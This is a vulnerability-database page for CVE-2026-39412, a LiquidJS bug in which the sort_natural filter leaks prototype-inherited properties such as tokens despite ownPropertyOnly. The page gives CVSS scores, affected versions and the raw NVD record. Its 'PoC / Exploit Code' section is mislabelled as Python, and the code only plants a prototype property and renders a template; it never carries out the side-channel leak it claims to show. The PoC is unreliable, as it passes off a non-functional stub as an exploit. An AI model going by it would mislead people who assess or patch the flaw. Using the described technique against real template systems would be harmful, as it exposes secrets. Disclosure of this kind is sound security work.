Security Vulnerability Report
中文
CVE-2026-39412 CVSS 5.3 MEDIUM

CVE-2026-39412

Published: 2026-04-08 20:16:26
Last Modified: 2026-04-20 14:53:54

Description

LiquidJS is a Shopify / GitHub Pages compatible template engine in pure JavaScript. Prior to 10.25.4, the sort_natural filter bypasses the ownPropertyOnly security option, allowing template authors to extract values of prototype-inherited properties through a sorting side-channel attack. Applications relying on ownPropertyOnly: true as a security boundary (e.g., multi-tenant template systems) are exposed to information disclosure of sensitive prototype properties such as API keys and tokens. This vulnerability is fixed in 10.25.4.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:liquidjs:liquidjs:*:*:*:*:*:node.js:*:* - VULNERABLE
LiquidJS < 10.25.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// PoC for CVE-2026-39412: LiquidJS sort_natural filter bypass // This demonstrates how prototype properties can be leaked via sorting side-channel. const { Liquid } = require('liquidjs'); // Initialize LiquidJS with the security feature enabled const engine = new Liquid({ ownPropertyOnly: true }); // Simulate a sensitive property on the prototype (e.g., leaked from global scope) Object.prototype.SECRET_TOKEN = "admin_secret_key_123"; // User input context const ctx = { items: ['user_data', 'public_info'] }; // Template using the vulnerable filter // The sort operation may interact with the prototype property const template = `{{ items | sort_natural }}`; try { // Render the template const result = engine.renderSync(template, ctx); console.log("Rendered Output:", result); // In a real exploit, the attacker analyzes the output or behavior // to infer the existence or value of 'SECRET_TOKEN'. } catch (e) { console.error(e); }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-39412", "sourceIdentifier": "[email protected]", "published": "2026-04-08T20:16:25.733", "lastModified": "2026-04-20T14:53:53.790", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "LiquidJS is a Shopify / GitHub Pages compatible template engine in pure JavaScript. Prior to 10.25.4, the sort_natural filter bypasses the ownPropertyOnly security option, allowing template authors to extract values of prototype-inherited properties through a sorting side-channel attack. Applications relying on ownPropertyOnly: true as a security boundary (e.g., multi-tenant template systems) are exposed to information disclosure of sensitive prototype properties such as API keys and tokens. This vulnerability is fixed in 10.25.4."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-200"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:liquidjs:liquidjs:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "10.25.4", "matchCriteriaId": "9A1F877E-F61D-4CC4-AF26-4BD0923D877E"}]}]}], "references": [{"url": "https://github.com/harttle/liquidjs/commit/e743da0020d34e2ee547e1cc1a86b58377ebe1ce", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/harttle/liquidjs/pull/869", "source": "[email protected]", "tags": ["Issue Tracking", "Product"]}, {"url": "https://github.com/harttle/liquidjs/releases/tag/v10.25.4", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/harttle/liquidjs/security/advisories/GHSA-rv5g-f82m-qrvv", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/harttle/liquidjs/security/advisories/GHSA-rv5g-f82m-qrvv", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}